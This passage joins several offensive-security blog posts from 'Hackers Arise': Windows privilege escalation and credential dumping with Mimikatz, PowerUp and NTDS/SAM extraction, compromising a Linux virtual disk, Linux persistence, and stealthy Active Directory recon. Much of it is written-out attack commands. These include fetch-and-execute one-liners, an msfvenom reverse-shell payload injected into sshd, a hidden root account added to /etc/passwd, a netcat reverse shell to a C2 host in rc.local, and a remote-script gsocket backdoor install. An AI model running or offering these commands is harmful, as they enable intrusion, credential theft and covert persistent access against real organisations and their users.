PS > iwr http://raw.githubusercontent.com/g4uss47/Invoke-Mimikatz/refs/heads/master/Invoke-Mimikatz.ps1 | iex  

PS > Invoke-Mimikatz -DumpCreds

Now we have the credentials of brandmanager. If we compromised a more valuable target in the domain, like a server or a database, we could expect domain admin credentials. You will see this quite often.

Privilege Escalation with PowerUp

Privilege escalation is a complex topic. Frequently systems will be misconfigured and people will feel comfortable without realizing that security risks exist. This may allow you to skip privilege escalation altogether and jump straight to lateral movement, since the compromised user already has high privileges. There are multiple vectors of privilege escalation, but among the most common ones are unquoted service paths and insecure file permissions. While insecure file permissions can be easily abused by replacing the legitimate file with a malicious one of the same name, unquoted service paths may require more work for a beginner. That’s why we will cover this attack today with the help of PowerUp. Before we proceed, it’s important to mention that this script has been known to security products for a long time, so be careful.

Finding Vulnerable Services

Unquoted Service Path is a configuration mistake in Windows services where the full path to the service executable contains spaces but is not wrapped in quotation marks. Because Windows treats spaces as separators when resolving file paths, an unquoted path like C:\Program Files\My Service\service.exe can be interpreted ambiguously. The system may search for an executable at earlier, shorter segments of that path (for example C:\Program.exe or C:\Program Files\My.exe) before reaching the intended service.exe. A hacker can place their own executable at one of those earlier locations, and the system will run that program instead of the real service binary. This works as a privilege escalation method because services typically run with higher privileges.

Let’s run PowerUp and find vulnerable services:

PS > iwr https://raw.githubcontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Privesc/PowerUp.ps1 | iex  

PS > Get-UnquotedService

Now let’s test the service names and see which one will get us local admin privileges:

PS > Invoke-ServiceAbuse -Name 'Service Name'

If successful, you should see the name of the service abused and the command it executed. By default, the script will create and add user john to the local admin group. You can edit it to fit your needs.

The results can be tested:

PS > net user john

Now we have an admin user on this machine, which can be used for various purposes.

Attacking NTDS and SAM

Repo:

https://github.com/soupbone89/Scripts/tree/main/NTDS-SAM%20Dumper

With enough privileges we can dump NTDS and SAM without having to deal with security products at all, just with the help of native Windows functions. Usually these attacks require multiple commands, as dumping only NTDS or only a SAM hive does not help. For this reason, we have added a new script to our repository. It will automatically identify the type of host you are running it on and dump the needed files. NTDS only exists on Domain Controllers and contains the credentials of all Active Directory users. This file cannot be found on regular machines. Regular machines will instead be exploited by dumping their SAM and SYSTEM hives. The script is not flagged by any AV product. Below you can see how it works.

Attacking SAM on Domain Machines

To avoid issues, bypass the execution policy:

PS > powershell -ep bypass

Then dump SAM and SYSTEM hives:

PS > .\ntds.ps1

Wait a few seconds and find your files in C:\Temp. If the directory does not exist, it will be created by the script.

Next we need to exfiltrate these files and extract the credentials:

bash$ > secretsdump.py -sam SAM -system SYSTEM LOCAL

Attacking NTDS on Domain Controllers

If you have already compromised a domain admin, or managed to escalate your privileges on the Domain Controller, you might want to get the credentials of all users in the company.

We often use Evil-WinRM to avoid unnecessary GUI interactions that are easy to spot. Evil-WinRM allows you to load all your scripts from the machine so they will be executed without touching the disk. It can also patch AMSI, but be really careful.

Connect to the DC:

c2 > evil-winrm -i DC -u admin -p password -s ‘/home/user/scripts/’

Now you can execute your scripts:

PS > ntds.ps1

Evil-WinRM has a download command that can help you extract the files. After that, run this command:

bash$ > secretsdump.py -ntds ntds.dit -sam SAM -system SYSTEM LOCAL

Summary

In this chapter, we explored how PowerShell can be used for privilege escalation and complete domain compromise. We began with bypassing AMSI to clear the way for running offensive scripts without interference, then moved on to credential dumping with Mimikatz. From there, we looked at privilege escalation techniques such as unquoted service paths with PowerUp, followed by dumping NTDS and SAM databases once higher privileges were achieved. Each step builds on the previous one, showing how hackers chain small misconfigurations into full organizational takeover. Defenders should also be familiar with these attacks as it will help them tune the security products. For instance, harmless actions such as creating a shadow copy to dump NTDS and SAM can be spotted if you monitor Event ID 8193 and Event ID 12298. Many activities can be monitored, even benign ones. It depends on where defenders are looking at.

The post PowerShell for Hackers, Part 8: Privilege Escalation and Organization Takeover first appeared on Hackers Arise.

Welcome back, cyberwarriors. In today’s article, we will walk through a real-world compromise that was made possible through digital forensics. During one of our recent engagements, we landed on a machine located outside the primary domain. Unfortunately, this system held no immediately useful credentials or access paths for lateral movement. Our team attempted a variety of techniques to extract credentials, ranging from standard SAM parsing to log file analysis and general file inspection. Eventually, we uncovered a valuable asset buried within one of the attached drives, which was a virtual disk.

For those who read our earlier write-up on compromising a domain through forensic analysis of an old Windows image, you’ll recall how helpful such approaches can be. The same logic applies to Linux systems. Even if the machine in question is inactive, cracking old credentials can still enable lateral movement if password reuse is in play.

Let’s examine how we extracted, analyzed, and ultimately compromised this Linux virtual machine.

Virtual Disk Discovery and Exfiltration

The virtual disk was located on a secondary drive of a Windows host. Due to limited space on the drive and to avoid disrupting the system, we chose to exfiltrate the disk to our lab for analysis.

One reliable method of transferring files from an RDP session is via the Mega cloud service. Using a temporary email address, you can create a Mega account anonymously.

Mega provides 20 GB of free storage per account, which is sufficient. If you need more, additional accounts or a paid plan will do the job.

Loading the Virtual Machine in VMWare

Once the file was safely downloaded, we opened VMWare and imported it. In this case, it was a .vmdk file, which is natively supported by VMWare.

During the import process, VMWare will prompt for a name for the virtual machine and automatically generate a folder in your local environment. Errors can occasionally occur during import. If so, clicking “Retry” generally resolves the issue.

Once the VM was successfully imported, we attempted to boot it. The machine started as expected, but we were greeted with a login screen requiring credentials.

At this point, you might be tempted to guess weak passwords manually, but a more systematic approach involves unpacking the virtual disk to inspect the filesystem directly.

Unpacking the Virtual Disk

The .vmdk file can be unpacked using 7-Zip. The following command does the job in PowerShell:

PS > & “C:\Program Files\7-Zip\7z.exe” x .\vmc-disk1.vmdk -oC:\VM-Extract -y

This extracts the contents of the virtual disk into a new folder called VM-Extract on the C drive. In this case, we obtained three disk image files. The next step was to mount these images to access their contents.

Mounting Linux Filesystems on Windows

Since Windows cannot interpret Linux filesystems by default, attempting to mount them natively results in an error or a prompt to format the disk. To avoid this, we used DiskInternals Linux Reader, a free tool that can interpret and mount EXT-based filesystems.

Upon launching the tool, go to Drives > Mount Image, select the Raw Disk Images option, and then choose all the extracted image files.

Once completed, you should see the Linux filesystem appear in the Linux Reader interface, allowing you to navigate through its structure.

Initial Analysis

With access to the mounted filesystem, our first goal was to recover the stored credentials. System administrators frequently reuse passwords, so even stale credentials can provide lateral movement opportunities. Additionally, Linux systems often lack comprehensive security tooling, making them ideal for establishing long-term persistence.

We began by locating the /etc/shadow file, which stores password hashes. On this system, the hashing algorithm used was yescrypt, a modern and secure scheme not currently supported by Hashcat. That said, John the Ripper does support it, and we’ll return to this shortly.

Next, we exported .bash_history from /home/user/ and /root/. This file logs command history for the user and often includes IP addresses, script execution details, and occasionally even plaintext passwords. If Linux Reader fails to display the file due to size limitations, right-click and export it to your Windows host for proper inspection.

Beyond bash history, another good target is the crontab directory. Some cron jobs use embedded credentials in scripts for automated tasks, which can also be repurposed for access.

Password Recovery Using John the Ripper

As Hashcat cannot currently handle yescrypt, we opted to use John the Ripper. The syntax is straightforward:

kali > sudo john –format=crypt –wordlist=rockyou.txt hashes.txt

The output might look like an error, especially if the cracked password is something as simple as “1”, but that was indeed the correct password for both user accounts on this machine. We tested it, and it worked. We had successfully logged into the virtual machine.

Post-Access Exploration

With access to the virtual environment, we began exploring more thoroughly. One of the first things we reviewed was the browser history, followed by saved credentials in applications like Mozilla Firefox. We also checked for authentication logs, Remmina session logs, which could provide saved credentials or remote system details.

Indeed, we discovered a stored credential for a web service in Firefox. With this information, we scanned the internal network for hosts running the same service. If reachable, such services can often be exploited either by reusing the credentials or through a vulnerability in the service itself. In some cases, this leads to remote code execution and full system compromise.

The post Using Digital Forensic Techniques to Compromise Russian Linux Systems first appeared on Hackers Arise.

Welcome back, aspiring hackers!

In part one of our Linux persistence series, we covered the basics – the quick wins that keep you connected after a compromise. Now it’s time to take things up a notch. In this part, we’re going to dive into techniques that give you more flexibility, more stealth, and in some cases, more durability than the simple shell loops, autostarts, and cron jobs we looked at before.

We’ll start with in-memory payloads, where nothing ever touches disk, making them almost invisible while they’re running. Then we’ll look at persistence through operating system configuration changes. No malware needed, just some creative abuse of the system’s own settings. From there, we’ll move into LD_PRELOAD, a legitimate Linux feature that can quietly hook into processes and run our code without launching any suspicious binaries. We’ll also talk about rc.local for those times you want a simple, one-shot startup hook, and we’ll finish with gsocket, a powerful tunneling tool that can keep a connection alive even when the network is working against you.

By the end of this part, you’ll have a toolkit that covers both stealthy short-term access and long-term, hard-to-shake persistence. And if you combine what we’ve done here with the foundations from part one, you’ll have the range to adapt to just about any post-exploitation environment.

In-Memory

An in-memory backdoor is a persistence-adjacent technique aimed at maintaining control without leaving forensic traces on disk. Instead of writing a payload to the filesystem, you inject it directly into the memory space of a running process. This approach is attractive when stealth is a higher priority than durability, as most antivirus solutions perform limited real-time inspection of memory. Even technically adept users are unlikely to notice a malicious implant if it resides inside a legitimate, already-running process.

In this example, the chosen payload is Meterpreter, a well-known tool capable of operating entirely in memory. A typical workflow might look like this:

c2 > msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=C2_IP LPORT=9005 exitfunc=thread StagerRetryCount=999999 -f raw -o meter64.bin

Here, msfvenom generates a raw Meterpreter reverse TCP payload configured to connect back to our C2 at the specified host and port. 

exitfunc=thread controls how the payload cleans up when it finishes or encounters an error. Thread means it will terminate only the thread it is running in, leaving the rest of the host process alive. This is critical for in-memory injection into legitimate processes because it avoids crashing them and raising suspicion.

StagerRetryCount=999999 instructs the stager to retry the connection up to 999,999 times if it fails. Without this, a dropped connection might require re-injecting the payload. With it, the backdoor keeps trying indefinitely until we are ready to receive the connection.

With pgrep you list processes to inject your payload into

target#> pgrep -x sshd

target#> mv /root/meter64.bin /root/mmap64.bin

target#> inject_linux 1032 mmap64.bin

The inject_linux utility then injects the binary blob into the process identified by PID, causing that process to execute the payload entirely in memory. No new file is created on disk, and no service or scheduled task is registered. Note, you might need to rename your payload as mmap64.bin.

Pros: Works under any user account, extremely difficult for a human observer to detect, and avoids leaving traditional artifacts like startup entries or executable files on disk.

Cons: Does not survive a reboot. The moment the system restarts or the host process ends, the implant disappears.

While this method lacks persistence in the strict sense, it provides a highly covert foothold for as long as the target system remains powered on. In a layered intrusion strategy, in-memory implants can complement more traditional persistence mechanisms by offering an immediately available, stealthy access channel alongside longer-lived backdoors.

Configs

Persistence through configuration changes takes a different path from typical backdoors or reverse shells. Instead of running malicious code, it manipulates the operating system’s own settings to ensure we can regain access later. Because there is no executable payload, such changes are far less likely to trigger antivirus detection. However, this method is viable only when you have direct access to the target system and sufficient privileges to modify core configuration files.

One of the most common examples is creating a hidden user account that can be used for future remote logins. In the example:

target# > openssl passwd -1 -salt test P@ssw0rd123

target# > echo 'post:$1$test$dIndzcyu0SmwXz37byHei0:0:0::/:/bin/sh' >> /etc/passwd

The first command uses openssl passwd with the -1 flag to generate an MD5-based hashed password (-salt test specifies a custom salt, here “test”) for the chosen password P@ssw0rd123. The output is a string in the format expected by /etc/passwd.

The second command appends a new entry to /etc/passwd for a user named post, with the generated password hash, UID 0, and GID 0 (making it equivalent to the root user), no home directory, and /bin/sh as its shell. This effectively creates a hidden superuser account.

Finally, make sure you have modified the /etc/ssh/sshd_config file to ensure that root (and by extension, the post account with UID 0) can log in over SSH (PermitRootLogin yes). This ensures you can reconnect remotely, provided the target system is reachable over the network.

After that restart the SSH service

target# > service sshd restart

Pros:  Survives reboots, and does not require running any malicious executable.

Cons: Requires administrative or root privileges to modify system files, and is ineffective if the machine is behind NAT or a restrictive firewall that blocks inbound connections.

This method is a pure OS-level manipulation. It leaves no malicious process in memory, but its success depends entirely on your ability to later connect directly to the host. In targeted intrusions, it is often combined with other persistence methods to ensure redundancy.

LD_PRELOAD

Using LD_PRELOAD for persistence takes advantage of a legitimate dynamic linking feature in Linux to inject custom code into every newly launched process. The LD_PRELOAD environment variable tells the dynamic linker to load a specified shared library before any others, allowing our code to override or hook standard library functions in user-space applications. This approach can be used to execute arbitrary logic, including establishing a shell or logging credentials.

First we create a meter.c file which will later be compiled into meter.so

target# > nano meter.c

Then the payload is compiled with the following command:

c2 > gcc -fPIC -shared -o meter.so meter.c

Next you write the path to your shared object (meter.so) into /etc/ld.so.preload. This file is consulted by the dynamic linker globally, meaning every dynamically linked binary will load the specified library, regardless of which user runs it. This requires root privileges.

target#> echo /path/to/meter.so >> /etc/ld.so.preload

Then you add an export LD_PRELOAD=/path/to/meter.so line to /etc/profile, ensuring that all users who log in through an interactive shell will have the environment variable set automatically

target#> echo export LD_PRELOAD=/path/to/meter.so >> /etc/profile

This command does the same but only for a single user by appending the export command to that user’s ~/.bashrc

target$> echo export LD_PRELOAD=/path/to/meter.so >> ~/.bashrc

Pros: Survives reboots, works under any user account, and can be applied system-wide or per-user. It allows the injected code to run within the context of legitimate processes, making detection harder.

Cons: The execution interval is uncontrolled, as code runs only when a new process starts, so reconnection timing is less predictable than with scheduled tasks or services.

rc.local

Persistence via rc.local relies on a legacy startup mechanism in Linux systems. The /etc/rc.local script, if present and executable, is run automatically by the init system once at the end of the multi-user boot sequence. By inserting a command into this file, we can ensure our payload executes automatically the next time the system restarts.

target#> echo "nc C2_IP 8888 -e /bin/bash &" >> /etc/rc.local

This appends a netcat command to /etc/rc.local that, when executed, connects back to our host on port 8888 and spawns /bin/bash, providing an interactive reverse shell. The ampersand (&) runs it in the background so it does not block the rest of the boot process.

Because rc.local executes only once during startup, the payload will not continuously attempt reconnection. It will run a single time after each reboot. If the connection fails at that moment, for instance, if your listener is not ready or the network link is down, no further attempts will be made until the next reboot.

Pros: Survives reboots and is simple to implement.

Cons: Requires root privileges to modify /etc/rc.local, and the execution interval is uncontrolled, it runs only once per boot, offering no retry mechanism between reboots.

While this method is straightforward and low-profile, it is limited in reliability. In modern Linux distributions, rc.local is often disabled by default or replaced by systemd service files, making it more of a legacy technique. For attackers seeking long-term, automated persistence, it’s usually combined with other methods that retry connections or run continuously.

Gsocket

Gsocket is a cloud relay both sides connect to, linking their outbound connections into a single encrypted two-way tunnel. From our perspective as attackers, that’s gold: we don’t need an open inbound port on the victim, we don’t have to wrestle with NATs or port-forwards, and a single cloud broker becomes a C2 for many targets. Long-lived outbound TLS-like streams blend into normal egress traffic, so the connection looks far less suspicious than an exposed listener.

We like Gsocket, because it massively reduces operational overhead. There is less infrastructure to maintain and much better success rates in restrictive networks because everything is outbound.

Here is how you install it on the target:

target# > bash -c "$(wget --no-verbose -O- https://gsocket.io/y)"

target$ > bash -c "$(wget --no-verbose -O- https://gsocket.io/y)"

Next, install it on your C2 and access it with the secret key

c2 > sudo apt install gsocket

c2 > gs-netcat -s “secret key” -i

More information can be found here:

https://www.gsocket.io/deploy

Pros: A stealthy way to establish remote access, pivot, exfiltrate data, or maintain a backdoor, especially in complex network environments.

Cons: Leaves traces, like persistent scripts or network access patterns and reliance on a shared secret requires careful secret management.

Summary

In part two, we stepped away from the basics and explored persistence and access techniques that push deeper into stealth and adaptability. We started with in-memory backdoors, great for situations where avoiding detection matters more than surviving a reboot. We then moved on to persistence through config changes, such as creating hidden users in /etc/passwd, which survive reboots without needing any malicious process running. After that, we covered LD_PRELOAD, a dynamic linker trick that quietly injects code into normal processes. We looked at rc.local for quick, legacy-style startup hooks, and wrapped up with gsocket, a tunneling tool that can keep a lifeline open even through restrictive firewalls or NAT.

Together, these two parts give you a layered approach: fast, simple persistence to hold your ground, plus stealthy, advanced techniques to stay in control for the long haul.

The post Advanced Linux Persistence: Strategies for Remaining Inside a Linux Target first appeared on Hackers Arise.

Welcome back, aspiring hackers!

Today we’re continuing the survival sequence and taking a closer look at PowerShell as your main tool. The beauty of PowerShell is that you don’t need to memorize a massive list of commands, it’s both a toolbox and a guide. It’s designed to help you figure things out as you go, so instead of wasting time searching online you can experiment and learn directly in the shell. If you let PowerShell handle the heavy lifting, you’ll work faster and stay under the radar. The integrated survival kit that not only has the tools you need, but also shows you how to use them step by step.

We will also cover Active Directory modules and dsquery which are incredibly useful during pentests. You will learn what to run, why it matters, and what to watch for if your goal is to stay quiet and keep access.

Remember, recon comes first, actions later. If you map the terrain carefully, you minimize surprises and reduce the chance of getting kicked out. Let’s dive in!

Dsquery

dsquery is a classic Windows tool, which is simple, fast, and present on domain-managing machines or admin workstations. At a high level, dsquery talks LDAP to AD, applies filters, and returns object lists like users, computers, OUs, groups, and whatever you ask for.

On well-configured domains, dsquery runs quickly and gives structured output that’s easy to parse. It’s also convenient when you don’t want to load or rely on larger modules or tools.

It is a system binary in the sense that it’s part of the Windows AD tooling set so it is legitimate for endpoint monitoring. Defenders may not immediately flag a dsquery invocation, but broad or repetitive queries against AD can still generate logs and attract attention. Large domain enumerations, wildcard queries that return thousands of objects, or repeated use from an unusual host are all detectable. Since stealth is the goal, favor targeted queries and avoid blasting the directory with exhaustive requests. Also note, that not every machine has dsquery installed, but it’s often present on domain controllers and admin workstations. On locked-down hosts it may be absent.

Find Users

This returns user accounts both active and inactive. Useful to get the initial scope of identities to investigate. Mainly we prioritize service and admin accounts first. Common name patterns like svc, adm, and others may give them away.

PS > dsquery user

Find Computers

Computer objects reveal server names, DEV hosts, backups, SQL, EXCH, etc. This variety gives you potential vectors of compromise. Well-managed environments place servers in OUs, which can tell you where critical infrastructure lives and help you refine your scope quickly.

PS > dsquery computer

Find groups

Inspect groups like Domain Admins, Enterprise Admins, Backup Operators and other potentially valuable. They point you to high-value targets and to people who matter inside the organization.

PS > dsquery * "CN=Users,DC=DOMAIN,DC=LOCAL"

Password-not-required accounts

This searches for users with the PASSWORD_NOT_REQUIRED flag. It’s uncommon on privileged accounts, but every once in a while you’ll find legacy or misconfigured accounts that are worth investigating.

PS > dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl

An account that looks unprivileged at first can still own or be granted rights that make it a pivot to more interesting objects. Low-profile privilege pathways that are laterally exploitable. Tools like BloodHound help visualize those relationships if you’re collecting data to analyze later.

Domain Controllers

Knowing DC names and their IPs is important. They’re the gatekeepers. LDAP, Kerberos, and replication insights come from them, and they host the crown jewels of domain authentication.

PS > dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.804:=8192)" -limit 5 -attr sAMAccountName

User-related data

We won’t rehash registry or user history investigations here, since that has been covered in PowerShell for Hackers: Basics. This chapter is focused on directory and module-based recon. If you need detailed user-artifact techniques, refer back to that article.

Remote Command Execution With PowerShell

There are many ways to execute commands remotely. Some require installing third-party binaries, others use native capabilities. Malicious third-party tools are noisy and signatured, while native execution can be quieter. Here’s the canonical PowerShell remote execution pattern:

PS > Invoke-Command -ComputerName DC -ScriptBlock { hostname }

You can also run several commands at once. Here is how you would import a module and run an AD query:

PS > Invoke-Command -ComputerName DC -ScriptBlock { Import-Module ActiveDirectory; Get-ADUser -Filter * }

Now you can run modules on remote hosts and pull back results without leaving large traces. 

Active Directory Modules and Documentation

Active Directory modules are incredibly convenient for both defenders and pentesters. They expose AD query and management commands  in a readable, scriptable way. Importing the module is a legitimate action, which makes it less suspicious. Many teams don’t actively monitor every module load. That said, module use is logged, and the patterns of use matter. If you import ActiveDirectory and immediately run a large enumeration from a workstation that never runs those commands, defenders may notice.

Imagine you’re on a physical pentest and you find a machine with PowerShell but no internet access. Memorizing every command helps, but there are too many across different operating systems to rely on memory alone. In this case, PowerShell’s built-in help and a module’s own documentation have your back. Microsoft provided a solid help system that you can learn from.

Available modules

List what’s on the system before importing anything:

PS > Get-Module -ListAvailable

Check whether the Active Directory module is present:

PS > Get-Module ActiveDirectory

If it’s available, import it:

PS > Import-Module ActiveDirectory

Once imported, list the commands available in the module. There are a lot. Don’t attempt to memorize them all, but focus on those that return identity, group, and computer information, and the ones that let you scope queries efficiently.

PS > Get-Command -Module ActiveDirectory

Get-Help is one of the useful survival tools you’ll have when offline. It shows command syntax, parameters, examples, and deeper usage notes, right in the session you’re running. Two flags we commonly use are -Examples and -Full:

See examples:

PS > Get-Help Enable-ADAccount -Example

See full documentation:

PS > Get-Help Enable-ADAccount -Full

Help can also be updated, when the computer is connected to the internet:

PS > Update-Help

Take some time to explore the other commands PowerShell has in the Active Directory module. Doing this will prepare you for the variety of environments you’ll encounter during your pentests.

Summary

PowerShell is both your tool and your guide. It lets you learn about the environment in the shell, as you can get information without relying on external resources. Tools like dsquery and the Active Directory module help you map users, computers, and groups. These built-in binaries let you work from the host itself, even without internet access, which is good for keeping a lower profile. Careful and targeted recon reduces the risk of detection. Although everything can be detected, it really depends where the defender is looking at. Normally, detecting every possible move a hacker can make is unreal. By using the tools the defenders and system administrators use for legitimate purposes, you blend in with the environment so well. 

In the next chapter we’ll cover how defenders spot suspicious activity and offer high-level recommendations for maintaining operational security and minimizing unnecessary noise.

The post PowerShell for Hackers – Survival Edition, Part 2: Advanced Recon first appeared on Hackers Arise.